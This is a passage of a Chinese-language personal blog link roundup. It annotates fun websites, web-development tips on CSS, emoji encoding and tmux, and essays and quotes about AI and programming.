Forking Mad+</li> <li><a href="https://samsharp.ca/ishavesomefun/">all i wanna do</a> by Sam</li> <li><a href="https://susam.net/five-minutes-of-prime-time.html">Five Minutes of Prime Time</a> by Susam Pal</li> <li><a href="https://susam.net/childhood-computing.html">Childhood Computing</a> by Susam Pal</li> <li><a href="https://brainbaking.com/post/2026/04/nostalgia-always-includes-a-temporal-context/">Nostalgia Always Includes a Temporal Context</a> by Brain Baking</li> <li><a href="https://diff.im/blog/2026/05/%E6%9C%8B%E5%8F%8B%E5%9C%88%E5%92%8C%E5%85%AC%E4%BC%97%E5%8F%B7%E8%A6%81%E4%B8%8D%E8%A6%81%E6%8A%8A%E7%88%B6%E6%AF%8D%E5%B1%8F%E8%94%BD/">朋友圈和公众号,要不要把父母屏蔽?</a> by Diff</li> <li><a href="https://www.sina.cn/news/detail/5279286413232198.html">行为经济学诱饵效应解析</a> by 姬永锋</li> <li><a href="https://ro3or.com/posts/559.202605.html">在虚无中永存</a> by 鹅玉</li> </ul> </div> </div> <div id="outline-container-133B602D-9099-4657-97F8-1CAB8AF0AB7C" class="outline-2"> <h2 id="133B602D-9099-4657-97F8-1CAB8AF0AB7C"><a href="#133B602D-9099-4657-97F8-1CAB8AF0AB7C">Cool Bit</a></h2> <div class="outline-text-2" id="text-133B602D-9099-4657-97F8-1CAB8AF0AB7C"><ul class="org-ul"> <li><p> <a href="https://www.presentandcorrect.com/blogs/blog/golden-tickets">Golden tickets.</a> </p> <p> 好看的巴士车票。 </p></li> <li><p> <a href="https://slideventura.com/">Slide Ventura</a> </p> <p> 好玩。 </p></li> <li><p> <a href="https://emilyadel.lol/cassettes">Emily Something</a> </p> <p> 一个父亲偷偷录󠄃下了女儿的通話,女儿后來发現了,這是其中的一些通話片段。磁帯卡片蛮好看的。 </p></li> <li><p> <a href="https://sinceyouarrived.world/taken">taken</a> </p> <p> 光是打開一个頁面,對方可以知道多少信息?這个网站罗列了一部分。 </p> <blockquote> <p> 你曾经访问过的每一页网站,至少都知道这一点。他们中的大多数人都知道得更多。他们谁都没告诉你。 </p> <p> [&hellip;] </p> <p> 它以足够高的精度识别了您的设备,使其能够与互联网上绝大多数其他设备区分开来。 </p> <p> 这就是「免费」的代价。 </p> </blockquote></li> <li><p> <a href="https://fitsonafloppy.com/">Fits on a Floppy</a> </p> <p> 小软件宣言。 </p> <blockquote> <p> 软件应当尽可能地小。这不应是一种噱头,而应是一种纪律。软盘就是衡量标准:1.44 MB。如果运行整个业务的软件都能装进那个空间,那么一个现代的、专注的、单一用途的工具肯定也可以。 </p> </blockquote></li> <li><p> <a href="https://mildliners.rknight.me/">Mildliner Reference</a> </p> <p> 作者做了个网站罗列了 <a href="https://www.zebrapen.com/pages/discover-mildliner-new">Mildliner</a> (Zebra 的一款馬克笔) 的顏色。 </p></li> <li><p> <a href="https://walkman.land/">WalkmanLand</a> </p> <blockquote> <p> WalkmanLand (WML) 是向 80-90 年代早已被遗忘的便携式音乐播放器 —— Walkman 致敬。我们正尝试将所有型号收集在一个地方,由数据库驱动,供所有人使用。 </p> </blockquote></li> <li><p> <a href="http://birthday-color.cafein.jp/">バースデーカラー 自分の誕生色を知ってラッキーカラーにしましょう</a> </p> <p> <span style="color:#009b9f">你生日那天是什麼顏色?</span> </p></li> <li><p> <a href="https://batcloud.art/">THE BAT CLOUD</a> </p> <p> 去問蝙蝠一个 yes or no 的問題,蝙蝠會指引你 :P </p> <p> 我之前問它們我能賣到好喝的啤酒嗎,得到的回答是 yes,賣了几瓶,一般吧。 </p></li> <li><p> <a href="https://dany.works/">dany works on</a> </p> <p> 网站的主題挺好玩,試試 sunny mode, moonlight mode, crash mode。 rainy mode 一般,看着没啥特色,不如这个: <a href="https://nicopr.fr/tmp/shades/heartfelt.html">heartfelt</a>。 sunny mode, moonlight mode 的实現是在頁面加載了一个循环播放的視頻。也想給博客加個 sunny mode,或许可以自己拍一段短視頻。 </p></li> <li><p> <a href="https://farayan.me/">Fara Yan</a> </p> <p> 网站里有很多有趣的動效,可以探索一下,例如 <a href="https://farayan.me/touch">Touch of sun</a>。 </p></li> <li><p> <a href="https://diagram.website/">Diagram Website</a> </p> <p> 一份互聯网地图。 </p></li> <li><p> <a href="https://eightyeightthirty.one/">eightyeightthirtyone</a> </p> <p> 這个網站爬取互联网上 88x31 之间的链接,形成一个了網絡 (密集恐惧警告)。 </p></li> <li><p> <a href="https://www.poshtarov.net/home/father-and-son">Father and Son</a> by Valery POSHTAROV </p> <p> 一系列父子牵手的合照。 </p> <blockquote> <p> 触碰即是赋予生命。 </p> <p> To Touch is To Give Life. </p> <p> ⸺ Michelangelo </p> </blockquote> <blockquote> <p> 作为两个正值成长期的男孩的父亲,我意识到那一天很快就会到来:他们将不再需要我在上学路上牵着他们的手。受此启发,我最初打算拍摄我 95 岁的祖父和我父亲牵手的照片。这个项目很快演变成了一个比我预期大得多的工程。 </p> <p> <span class="underline">在一个日益疏离的世界里,牵手成为一种无声的祈祷,一种重新走到一起的方式。</span><span class="underline">在摆拍时,许多父子是多年甚至几十年以来第一次牵手。</span>这是一个充满力量的时刻,往往伴随着犹豫或抵触,它揭示了我们的文化遗产, 同时也触及了关于连接、传承和脆弱性的普世诉求。这个项目的核心就在于这种亲密的举动,每一张照片都见证了父子之间深沉却往往不言而喻的爱。 </p> <p> <a href="https://www.poshtarov.net/home/father-and-son?#:~:text=As,sons,-%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.quantamagazine.org/how-we-see-the-beautiful-violent-sun-20260528/">How We See the Beautiful, Violent Sun</a> by Quanta Magazine </p> <p> 頁面里有很多讓人惊嘆的太阳影像。但頁面好像很耗性能,我的 Macbook Pro 2018 用 Zen 浏览器打开,没多久就风扇狂转。 </p></li> <li><p> <a href="https://lyra.horse/fun/jscrossword/">JS Crossword</a> </p> <p> 一个 JS 的填字游戏,基于 JS 知識填寫,有亿点难。 </p></li> </ul> </div> </div> <div id="outline-container-7422616A-AEE0-4BE0-A051-E36C9983C015" class="outline-2"> <h2 id="7422616A-AEE0-4BE0-A051-E36C9983C015"><a href="#7422616A-AEE0-4BE0-A051-E36C9983C015">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-7422616A-AEE0-4BE0-A051-E36C9983C015"><ul class="org-ul"> <li><p> <a href="https://storiedcolors.com/">Storied Colors</a> </p> <p> 网站收集了關於顏色的故事,顏色的起源、它的化学成分,以及那些为之付出毒害代价的人们。 </p></li> <li><p> <a href="https://33jsconcepts.com/">Learn JavaScript - 33 JavaScript Concepts</a> </p> <blockquote> <p> 通过 33 个核心概念掌握 JavaScript。为各个水平的开发者提供清晰的解释、实用的示例以及精选资源。 </p> </blockquote></li> <li><p> <a href="https://www.fieggen.com/shoelace/lacingmethods.htm">Ian's Shoelace Site – Shoe Lacing Methods</a> </p> <p> 网站分享了很多種鞋帯的綁法。 </p></li> <li><p> <a href="https://www.gnu.org/philosophy/kind-communication.html">GNU Kind Communications Guidelines</a> by Richard Stallman </p> <p> 不錯的 Guidelines,也适用于論坛、平時的一些交流。总體來說就是尽量友善、与人為善、就事論事、専注于討論的主題、寬容而不是以牙还牙。 </p> <details> <summary>摘录 (展开後很長哦)</summary> <blockquote> <ul class="org-ul"> <li>即使您不同意其他参与者的观点,也请假设他们是出于善意发表言论。当他人展示代码或文字并称其为原创时,请予以认可。请不要仅凭推测就指责他人可能犯下的错误;请针对他们实际的言行进行讨论。</li> <li>请思考如何尊重其他参与者,尤其是在您不同意他们观点的时候。例如,请使用对方使用的称呼,并根据对方声明的性别身份选择合适的词汇。同时,对于使用与您不同词汇的人,也请表现出宽容和尊重。</li> <li>请不要对其他参与者言辞激烈,尤其不要进行人身攻击。请尽力表明您是在批评某种观点,而不是针对个人。</li> <li>请意识到,针对您言论的批评并非是对您的人身攻击。如果您觉得有人攻击了您或冒犯了您的个人尊严,请不要以人身攻击"回击"。这往往会导致言语攻击不断升级的恶性循环。私下回复并礼貌地表达您的感受,同时寻求和解,可能会使局面冷静下来。写好回复后,先放置几个小时或一天,修改并消除怒气,然后再发送。</li> <li>请避免对某些特定群体推测其典型的欲望、能力或行为。此类言论可能会冒犯该群体的人,并且在 GNU 项目的讨论中总是偏离主题的。</li> <li>在指出其他贡献者犯错时,请务必保持友善。编程意味着会犯很多错误,我们每个人都会犯错——这就是回归测试之所以有用的原因。尽职的程序员会犯错,然后修复它们。向贡献者表明"不完美是正常的"很有帮助,这样我们就不会责怪他们,并且即使贡献不完美,我们也依然感激,同时希望他们能继续跟进并修复其中的问题。</li> <li>同样,在提醒其他贡献者停止使用某些非自由软件时,请保持友善。为了他们自己,他们应当让自己获得自由,但即使他们不这样做,我们也欢迎他们为我们的软件包做出贡献。因此,这些提醒应当是温和且不宜过于频繁——不要唠叨。相比之下,建议他人运行非自由程序违背了 GNU 的基本原则,因此在 GNU 项目的讨论中是不允许的。</li> <li>请针对他人的实际言论进行回应,而不是夸大其观点。如果您的批评目标偏离了他们的真实观点,那么这种批评将不具建设性。如果在讨论中有人提出了与当前主题无关的题外话,请专注于当前话题,确保讨论不偏离正轨。这并不是说题外话不好或不值得讨论,只是它不应干扰对当前问题的探讨。在大多数情况下,这些内容属于离题,感兴趣的人应当在其他地方进行讨论。</li> <li>如果您认为该题外话是一个重要且相关的问题,请另起一个讨论,并配以合适的主题字段,同时可以考虑等到当前讨论结束后再提出。</li> <li>与其争着说最后一句话,不如寻找那些无需回复的时机,也许是因为你已经把相关的观点表达得足够清楚了。如果你了解围棋,这个类比可能会让你更明白:当对方的落子不够强,不需要直接回应时,不予理睬转而在其他地方落子反而更有利。</li> <li>当某项行动方案已经做出决定后,请不要再为自己偏好的方案无休止地争论。这往往会阻碍活动的进展。</li> <li>如果他人因无视这些准则而激怒了你,请不要痛斥他们,尤其请不要怀恨在心。建设性的做法是鼓励并帮助他人做得更好。当他们努力学习改进时,请给他们充足的机会。</li> <li>如果其他参与者对你表达观点的方式表示不满,请努力迁就他们。你可以找到既能表达相同观点,又能让其他人感到更舒适的方式。如果你不在次要问题上激起公愤,就更有可能说服他人。</li> <li>请不要在 GNU 项目的讨论中提出无关的政治问题,因为它们是离题的。 GNU 项目唯一支持的政治立场是: (1) 用户应该掌控自己的计算(例如通过自由软件); (2) 支持计算领域的基本人权。我们不要求作为贡献者的你必须同意这两点,但你需要接受我们的决策将基于这些立场。</li> </ul> </blockquote> </details></li> </ul> </div> </div> <div id="outline-container-75323172-2878-4BC7-AB31-2EA7A061DB32" class="outline-2"> <h2 id="75323172-2878-4BC7-AB31-2EA7A061DB32"><a href="#75323172-2878-4BC7-AB31-2EA7A061DB32">Code Related</a></h2> <div class="outline-text-2" id="text-75323172-2878-4BC7-AB31-2EA7A061DB32"><ul class="org-ul"> <li><p> <a href="https://denodell.com/blog/browsers-treat-big-sites-differently">Browsers Treat Big Sites Differently</a> by Den Odell </p> <p> Firefox、Safari 會针對一些网站內置一些特殊处理逻輯,但 Chrome 不需要。因為 Chrome 一家獨大,用戶最广,开发者大多都面向 Chrome 开发,用了一些只有 Chrome 支持的特性,Chrome 上没問題就没問題,而没有兼容其它浏览器。其它浏览器厂商為了一些大网站 (YouTube、亚马逊等) 不出問題,就做了一些特殊处理,因為网站维护者未必會做兼容,与其等待导致失去用戶,浏览器厂商选择自己打补丁。現在的 Chrome,就像是曾經的 IE。 </p> <p> 理想情况是开发者不要依赖 Chrome 獨有的特性,而是遵循 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Baseline/Compatibility">Baseline</a>,用那些所有浏览器都支持的特性,這樣就不會鎖定在一個浏览器里。另外,如果原來主要在 Chrome 中測試自己网站,最好 <b>經常性</b> 檢查一下自己网站在其它浏览器的兼容性,毕竟小站点浏览器厂商未必会去兼容。 </p></li> <li><p> <a href="https://www.stefanjudis.com/today-i-learned/css-content-accepts-alternative-text/">The CSS "content" property accepts alternative text</a> by Stefan Judis </p> <p> 伪類的 content 字段可以設置替代文本,对使用屏幕閱讀器的讀者會更友好。 </p> <div class="org-src-container"> <pre class="src src-css"><code><span class="org-css-selector">.new-item::before</span> { <span class="org-comment-delimiter">/* </span><span class="org-comment">&#35712;&#20316;&#65306; &#40657;&#33394;&#26143;&#26143;...</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">content</span>: <span class="org-string">"&#9733;"</span>; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#35712;&#20316;&#65306; &#39640;&#20142;&#26465;&#30446;...</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">content</span>: <span class="org-string">"&#9733;"</span> / <span class="org-string">"&#39640;&#20142;&#26465;&#30446;"</span>; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#24573;&#30053;&#26143;&#21495;&#65292;&#35712;&#20316;&#65306; ...</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">content</span>: <span class="org-string">"&#9733;"</span> / <span class="org-string">""</span>; } </code></pre> </div></li> <li><p> <a href="https://george.mand.is/2026/05/my-favorite-bugs-invalid-surrogate-pairs/">My Favorite Bugs: Invalid Surrogate Pairs</a> by George Mandis </p> <p> 記录󠄃了一个 Emoji 引起的 bug,以及作者是如何修复的。主要的問題是,有的 Emoji 是由代理对 (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#utf-16_characters_unicode_code_points_and_grapheme_clusters:~:text=However,character%2E">Surrogate Pairs</a>) 組成的,代理对由高代理位和低代理位,单个代理位是无效的,例如单独摘出高代理位是无效的,无法表达什么。文中出問題的地方是: <code>encodeURIComponent("🤠".slice(0, 1))</code> ,這樣會摘出 🤠 的高代理位,是无效的, <code>encodeURIComponent</code> 會报錯 <code>URIError: URI malformed</code> 。如果需要处理 Emoji,建議是用 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Segmenter">Intl.Segmenter</a>。 </p> <p> 另見:<a href="emoji-regexp.html">Emoji 正则匹配</a>。 </p></li> <li><p> <a href="https://sebastiano.tronto.net/blog/2026-05-17-tmux-clipboard/">tmux trick #2: copy to clipboard</a> by Sebastiano Tronto </p> <p> 在 <code>.tmux.conf</code> 添加 <code>set -s copy-command "xsel -ib"</code> 可以讓 tmux 在复制后將內容传到指定程序里,例如传給系統剪貼板程序。如果是 macOS,可以設為 <code>set -s copy-command "pbcopy"</code> 。 </p> <p> 操作: </p> <ul class="org-ul"> <li><kbd>C-b [</kbd> 进入复制模式 (<code>C-b</code> 是點認的前缀键,即 <code>Ctrl + b</code>) 。</li> <li><kbd>SPACE</kbd> 进入选中模式。</li> <li><kbd>h</kbd>、<kbd>j</kbd>、<kbd>k</kbd>、<kbd>l</kbd> 移動选择。</li> <li><kbd>ENTER</kbd> 确認复制。</li> </ul></li> <li><p> <a href="https://blog.jim-nielsen.com/2026/small-html-pages/">Reminder: You Can Stitch Together Lots of Little HTML Pages With Navigations For Interactions</a> by Jim Nielsen </p> <p> 作者用一个 HTML 頁面承担了菜单的功能,而不是用 JavaScript 弹窗。有趣的是菜单作為一个頁面,除了从別的頁面点击进入,也可能是直接通過 URL 訪問的,兩者的返回路径是不同的。作者是通過是否存在 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/referrer">document.referrer</a> 判断的。 </p></li> <li><p> <a href="https://docs.npmjs.com/staged-publishing">Staged publishing for npm packages</a> </p> <blockquote> <p> Staged publishing 会在包正式发布到 npm 注册表之前增加一个审批步骤。与直接使用 <code>npm publish</code> 发布不同,您可以使用 <code>npm stage publish</code> 将包提交到暂存区。随后,维护者必须通过 CLI 或 npmjs.com 进行双因素认证 (2FA),对暂存包进行审核并明确批准,该包才会向公众开放。 </p> </blockquote> <p> 或許能减少一些 npm 的供应链攻击。 </p></li> <li><p> <a href="https://matklad.github.io/2026/05/18/always-be-blaming.html">Always Be Blaming</a> by matklab </p> <blockquote> <p> 阅读代码的终极目标是 ⸺ 理解原作者在想什么,以及为什么这么想。 </p> <p> <a href="https://matklad.github.io/2026/05/18/always-be-blaming.html#:~:text=So%20this%20is%20the%20goal%20of%20reading%20code%20%E2%80%94%20understanding%20what%20the%20original%20author%20was%20thinking%2C%20and%20why%2E">Source</a> </p> </blockquote> <p> 文章分享如何用好 <code>git blame</code> 去回答上面的問題。 </p> <p> See also: <a href="https://mislav.net/2014/02/hidden-documentation/">Every line of code is always documented</a> by Mislav Marohnić,文章里还有一些 <code>git commit</code> 的建議。 </p></li> <li><p> <a href="https://blog.anew.social/bridging-on-a-budget/">Bridging on a budget</a> by Ryan Barrett </p> <p> 關於 <a href="https://fed.brid.gy/">Bridgy Fed</a> 的优化。 </p> <blockquote> <p> 最终,我们的用户数量从 2000 人增长到近 15 万人,新增了大量复杂的功能,同时仍成功优化了运营,将每名活跃用户的月均成本从 0.15 美元降至仅约 0.03 美元。 </p> <p> <a href="https://blog.anew.social/bridging-on-a-budget/#:~:text=%E6%9C%80%E7%BB%88%EF%BC%8C%E6%88%91%E4%BB%AC%E7%9A%84%E7%94%A8%E6%88%B7%E6%95%B0%E9%87%8F%E4%BB%8E2000%E4%BA%BA%E5%A2%9E%E9%95%BF%E5%88%B0%E8%BF%9115%E4%B8%87%E4%BA%BA%EF%BC%8C%E6%96%B0%E5%A2%9E%E4%BA%86%E5%A4%A7%E9%87%8F%E5%A4%8D%E6%9D%82%E7%9A%84%E5%8A%9F%E8%83%BD%EF%BC%8C%E5%90%8C%E6%97%B6%E4%BB%8D%E6%88%90%E5%8A%9F%E4%BC%98%E5%8C%96%E4%BA%86%E8%BF%90%E8%90%A5%EF%BC%8C%E5%B0%86%E6%AF%8F%E5%90%8D%E6%B4%BB%E8%B7%83%E7%94%A8%E6%88%B7%E7%9A%84%E6%9C%88%E5%9D%87%E6%88%90%E6%9C%AC%E4%BB%8E0%2E15%E7%BE%8E%E5%85%83%E9%99%8D%E8%87%B3%E4%BB%85%E7%BA%A60%2E03%E7%BE%8E%E5%85%83">Source</a> </p> </blockquote></li> <li><p> <a href="https://susam.net/do-not-roll-your-own.html">Don't Roll Your Own &hellip;</a> by Susam Pal </p> <p> 避免改变网页默認行為,點認行為用戶己經習慣,不一樣的行為可能会讓用戶錯愕,甚至恼火。 </p> <blockquote> <p> 你把我非常熟悉、甚至无需思考的东西,变成了一个我必须去思考的陌生事物。 </p> <p> <a href="https://susam.net/do-not-roll-your-own.html#:~:text=You%20take%20something%20I%20am%20so%20familiar%20with%20that%20I%20don%27t%20even%20think%20about%20it%2C%20and%20turn%20it%20into%20something%20unfamiliar%20that%20I%20now%20have%20to%20think%20about%2E">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">既然说到这里,也请不要每隔几个月就更换一次网站布局和界面!</span><span class="underline">我也许能适应新设计,但我年迈的亲人却不行。</span><span class="underline">对他们来说,你每次更改用户界面,都无异于让他们学习一种全新的工具。</span><span class="underline">如果每个网站都每隔几个月就这样折腾一次,</span><span class="underline">他们就不得不花费大量时间去重新学习熟悉的事物,而这并不会带来任何功能上的益处。</span>请让他们安享晚年吧。想象一下,如果一个 Linux 发行版决定每隔几个月就重新设计所有核心命令及其命令行选项,你会有什么感受?或者想象一下,如果你洗衣机的按钮每天早上都被重新排列,你又会作何感想?那绝对不会是一件愉快的事情! </p> <p> <a href="https://susam.net/do-not-roll-your-own.html#:~:text=And%20while,pleasant%21">Source</a> </p> </blockquote></li> <li><p> <a href="https://matklad.github.io/2026/05/12/software-architecture.html">Learning Software Architecture</a> by matklab </p> <p> 大量的實踐是不可或缺的。文章里還分享了很多鏈接。 </p></li> <li><p> <a href="https://css-tricks.com/the-state-of-css-centering-in-2026/">The State of CSS Centering in 2026</a> by Temani Afif </p> <p> 期待 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/text-box">text-box</a> 进入 baseline,所有浏览器都能用,這樣對齐文本就方便多了。 </p> <p> See also: <a href="https://css-tip.com/explore/alignment/">The Fundamentals of CSS Alignment</a> by Temani Afif </p></li> <li><p> <a href="https://piccalil.li/blog/navigating-the-age-old-problem-of-checkmarks-in-ui-with-progressive-enhancement/">Navigating the age-old problem of checkmarks in UI with progressive enhancement</a> by Sunkanmi Fafowora </p> <p> <code>:checkmarks</code> 可以用來設置选中樣式,期待进入 baseline。 </p></li> <li><p> <a href="https://adrianroselli.com/2022/11/accessibility-gaps-in-mvps.html">Accessibility ‘Gaps’ in MVPs</a> by Adrian Roselli </p> <blockquote> <p> 简而言之,如果你的最小可行性产品(MVP)没有考虑到无障碍设计,那它就称不上「可行」。如果你宣称无障碍是核心原则,但你的初始版本却未将其包含在内,那它就算不上什么核心原则。 </p> <p> <a href="https://adrianroselli.com/2022/11/accessibility-gaps-in-mvps.html#:~:text=Simply%2C%20if%20your%20MVP%20does%20not%20have%20accessibility%20factored%20in%2C%20it%20is%20not%20viable%2E%20If%20you%20claim%20accessibility%20is%20a%20core%20principle%20but%20your%20version%200%20does%20not%20include%20it%2C%20then%20it%20is%20not%20a%20core%20principle%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/font-size-adjust">font-size-adjust CSS property</a> </p> <p> 当存在首选字體時,字号大小是正常的;没有首选字體,而用备用字體時,相同字号下,备用字體可能看起來小很多,导致難以閲讀。用 <code>font-size-adjust</code> 可以相對首选字體調整备用字體大小,使得备用字體的字号适合閱讀。 </p> <p> See also: <a href="https://clagnut.com/sandbox/font-size-adjust.html">Font metrics calculator for font-size-adjust</a>。 </p></li> <li><p> <a href="https://neugierig.org/software/blog/2020/05/ninja.html">The Success and Failure of Ninja</a> by Evan Martin </p> <blockquote> <p> 如果我要用一句话来概括我学到的东西,那就是:我们谈论编程时总觉得它关乎编写代码,但代码最终变得不如架构重要,而架构最终变得不如社会问题重要。 </p> <p> <a href="https://neugierig.org/software/blog/2020/05/ninja.html#:~:text=If,issues">Source</a> </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-89D887D0-09C2-42ED-BC97-0F72B56DB9E6" class="outline-2"> <h2 id="89D887D0-09C2-42ED-BC97-0F72B56DB9E6"><a href="#89D887D0-09C2-42ED-BC97-0F72B56DB9E6">AI Related</a></h2> <div class="outline-text-2" id="text-89D887D0-09C2-42ED-BC97-0F72B56DB9E6"><ul class="org-ul"> <li><p> My Thoughts on AI by Mark Erikson </p> <ul class="org-ul"> <li><a href="https://blog.isquaredsoftware.com/2026/05/ai-thoughts-part-1-fears-opinions-journey/">My Thoughts on AI, Part 1: Fears, Opinions, and Mental Journey</a></li> <li><a href="https://blog.isquaredsoftware.com/2026/05/ai-thoughts-part-2-agent-workflow-tools/">My Thoughts on AI, Part 2: Agent Setup, Workflow, and Tools</a></li> </ul> <p> Mark Erikson 是 <a href="https://redux.js.org/">Redux</a> 的主要维护者,一开始他也比较抗拒 LLM,但后來发現 LLM 确实能帮到他,于是他也投入了 LLM 的怀抱。文章記录󠄃了他心态的转变,以及分享了他是如何用 LLM 編程的。 </p></li> <li><a href="https://x.com/trq212/status/2033949937936085378">Lessons from Building Claude Code: How We Use Skills</a> by Thariq</li> <li><a href="https://x.com/trq212/status/2052809885763747935">Using Claude Code: The Unreasonable Effectiveness of HTML</a> by Thariq</li> <li><p> <a href="https://nolanlawson.com/2026/05/25/using-ai-to-write-better-code-more-slowly/">Using AI to write better code more slowly</a> by Nolan </p> <p> 利用 LLM 发現 bug、排优先级、修复 bug,并且人要参与在過程中。 </p></li> <li><p> <a href="https://borretti.me/article/human-bottlenecks">Human Bottlenecks</a> by Fernando Borretti </p> <blockquote> <p> <span class="underline">在人工智能时代,知识之所以仍然是一个瓶颈,原因并非在于「如果你没有相关知识,就无法编写提示词」。</span><span class="underline">而是:如果你没有相关知识,你就无法理解问题本身,无法理解问题的重要性,也无法判断答案的优劣,</span><span class="underline">甚至根本不会想到要提出问题。</span>你所处的领域与「编写提示词」完全不同。而且由于长时记忆是私有且内在的,AI 无法增强它。不过,如果使用得当,AI 或许能帮助获取新知识。 </p> <p> 因此:执行功能、智力和知识是你能力发挥的巨大瓶颈,而且由于它们存在于大脑内部,在生物技术取得重大突破之前,人工智能无法触及这些领域。推论:与「人力资本正在变得一文不值」这一流行观点相反,教育的回报率如今更高,<span class="underline">因为那些拥有正常运作的奖励回路、且受过良好教育的聪明人,将从人工智能中获益更多。</span> </p> <p> <a href="https://borretti.me/article/human-bottlenecks#:~:text=The%20reason,AI,-%2E">Source</a> </p> </blockquote> <p> AI 是一个放大器,強者更強。人自身的水平决定了使用 AI 能达到的上限。 </p></li> <li><p> <a href="https://www.vatican.va/content/leo-xiv/en/encyclicals/documents/20260515-magnifica-humanitas.html">MAGNIFICA HUMANITAS</a> </p> <p> 教皇利奥十四世 (Leo XIV) 首道通谕《伟大的人性》。其中有教皇對 AI 的一些看法 (可以从第 97 条開始看)。 </p> <details> <summary>摘录</summary> <blockquote> <ol class="org-ol"> <li>在讨论之前,有必要先做两点思考。首先,鉴于这些系统的发展速度惊人,任何关于人工智能的陈述都面临着迅速过时的风险。<span class="underline">其次,我们所有人,包括那些设计者,对其运作方式的实际了解都非常有限。</span><span class="underline">事实上,目前的人工智能系统与其说是「建造」出来的,不如说是「培育」出来的,</span><span class="underline">因为开发者并不直接设计每一个细节,而是创建一个框架,让智能在其中「成长」。</span>因此,基本的科学层面 ⸺ 例如这些系统的内部表征和计算过程 ⸺ 目前仍然是未知的。因此,迫切需要双重承诺:一方面是深化科学研究;另一方面是进行道德和精神上的辨析。</li> <li>目前无法为人工智能提供一个单一且全面的定义。然而可以肯定的是, <span class="underline">我们必须避免将这种「智能」与人类智能等同起来的误解。</span>这些系统仅仅是模仿人类智能的某些功能。在模仿过程中,它们在速度和计算能力上往往超越人类智能,在许多领域提供了切实的益处。然而,这种力量完全取决于数据处理。<span class="underline">所谓的人工智能没有经历,没有身体,感受不到喜悦或痛苦,不会通过关系而成熟,</span><span class="underline">也不从内在了解爱、工作、友谊或责任的含义。</span><span class="underline">它们也没有道德良知,因为它们不评判善恶,不把握局势的最终意义,也不承担后果的责任。</span><span class="underline">它们可以模仿语言、行为和分析技能,甚至模拟同理心和理解力,</span><span class="underline">但它们并不理解自己产出的内容,因为它们缺乏人类在智慧成长过程中所拥有的情感、关系和精神视角。</span><span class="underline">即使这些工具被描述为具有「学习」能力,其学习方式也与人类不同。</span><span class="underline">这并非是一个让自己受生活塑造,并通过选择、错误、宽恕和忠诚随时间成长的过程。</span><span class="underline">相反,这是一种基于数据和反馈的统计适配,虽然非常有效,但并不意味着内在的成长。</span></li> </ol> <p> <a href="https://www.vatican.va/content/leo-xiv/en/encyclicals/documents/20260515-magnifica-humanitas.html#:~:text=98%2E%20It,vigilance">Source</a> </p> </blockquote> </details> <p> 另見: </p> <ul class="org-ul"> <li><a href="https://simonwillison.net/2026/May/25/encyclical-on-ai/">Notes on Pope Leo XIV’s encyclical on AI</a> by Simon Willison</li> <li><p> <a href="https://lucumr.pocoo.org/2026/5/26/clankers/">Clanker: A Word For The Machine</a> by Armin Ronacher </p> <details> <summary>摘录</summary> <blockquote> <p> 我不喜欢用「智能体」来形容这些带有 UI 的、基于大语言模型的工具循环。在日常使用中,代理人(agent)是指代表他人行事的人,它具有主观能动性, <span class="underline">更重要的是:责任。</span>代理人可以决定、代表、谈判、行动并承担责任。在当前的 AI 讨论中,我们越来越多地进行拟人化,<span class="underline">而「智能体」一词现在经常被用来将责任推给一台抽象的机器。</span><span class="underline">但机器无法承担责任,使用它的人才需要承担责任。</span>如果它删除了你的数据库,那不是它的错,而是你的错 。 </p> <p> <a href="https://lucumr.pocoo.org/2026/5/26/clankers/#:~:text=Agent%3F-,I,were">Source</a> </p> </blockquote> <blockquote> <p> 如果一个人工智能系统对用户撒谎,该系统并没有犯下道德错误,但设计、部署、营销或疏忽使用它的人可能犯了错。如果一个编程助手生成了一个安全漏洞,模型不应受到指责,但接受并提交代码的人则难辞其咎。 </p> <p> 这就是为什么给这些系统使用更柔和、更人性化的语言让我感到担忧。它让责任更容易转移到某种模糊的虚无中。 </p> <p> <a href="https://lucumr.pocoo.org/2026/5/26/clankers/#:~:text=If%20an,void%2E">Source</a> </p> </blockquote> </details></li> </ul></li> <li><p> <a href="https://thoughts.hmmz.org/2026-05-31.html">the solution might be cancelling my AI subscription</a> by David </p> <blockquote> <p> 因为付出的努力减少了,投入的热情也就随之消退;随着热情的消退,专注力也随之消失;而一旦失去了专注力,就不可能产出任何有意义的作品。 </p> <p> <a href="https://thoughts.hmmz.org/2026-05-31.html#:~:text=Because%20the%20effort%20was%20removed%2C%20so%20was%20the%20commitment%2C%20and%20with%20the%20commitment%20the%20focus%2C%20and%20with%20the%20focus%20any%20meaningful%20product%20at%20all%2E">Source</a> </p> </blockquote></li> <li><p> <a href="https://x.com/paulg/status/2058863028523659390">Paul Graham</a> </p> <blockquote> <p> 我现在从创始人那里收到的大量邮件都是以一种强硬的新闻风格写成的。我知道那是 AI 写的,因为以前没有创始人会这样写。一旦你意识到某样东西是 AI 写的,就很难不去忽视它。 </p> <p> 我从未在知情的情况下读完过一封由人类署名但由 AI 撰写的邮件。这感觉就像被欺骗了,谁能忍受呢? </p> <p> [&hellip;] 这让我对作者的评价降低了。这意味着他们在没有辅助的情况下写不好(或者觉得写不好),而且他们正试图欺骗我。使用 AI 帮你写东西并不令人印象深刻;任何青少年都能做到。 </p> </blockquote></li> </ul> </div> <div id="outline-container-931A73FB-9297-4168-85AA-9F1E83B0E42F" class="outline-3"> <h3 id="931A73FB-9297-4168-85AA-9F1E83B0E42F"><a href="#931A73FB-9297-4168-85AA-9F1E83B0E42F">Skills</a></h3> <div class="outline-text-3" id="text-931A73FB-9297-4168-85AA-9F1E83B0E42F"><ul class="org-ul"> <li><p> <a href="https://github.com/himself65/finance-skills">himself65/finance-skills</a> </p> <p> A collection of skills for AI financial 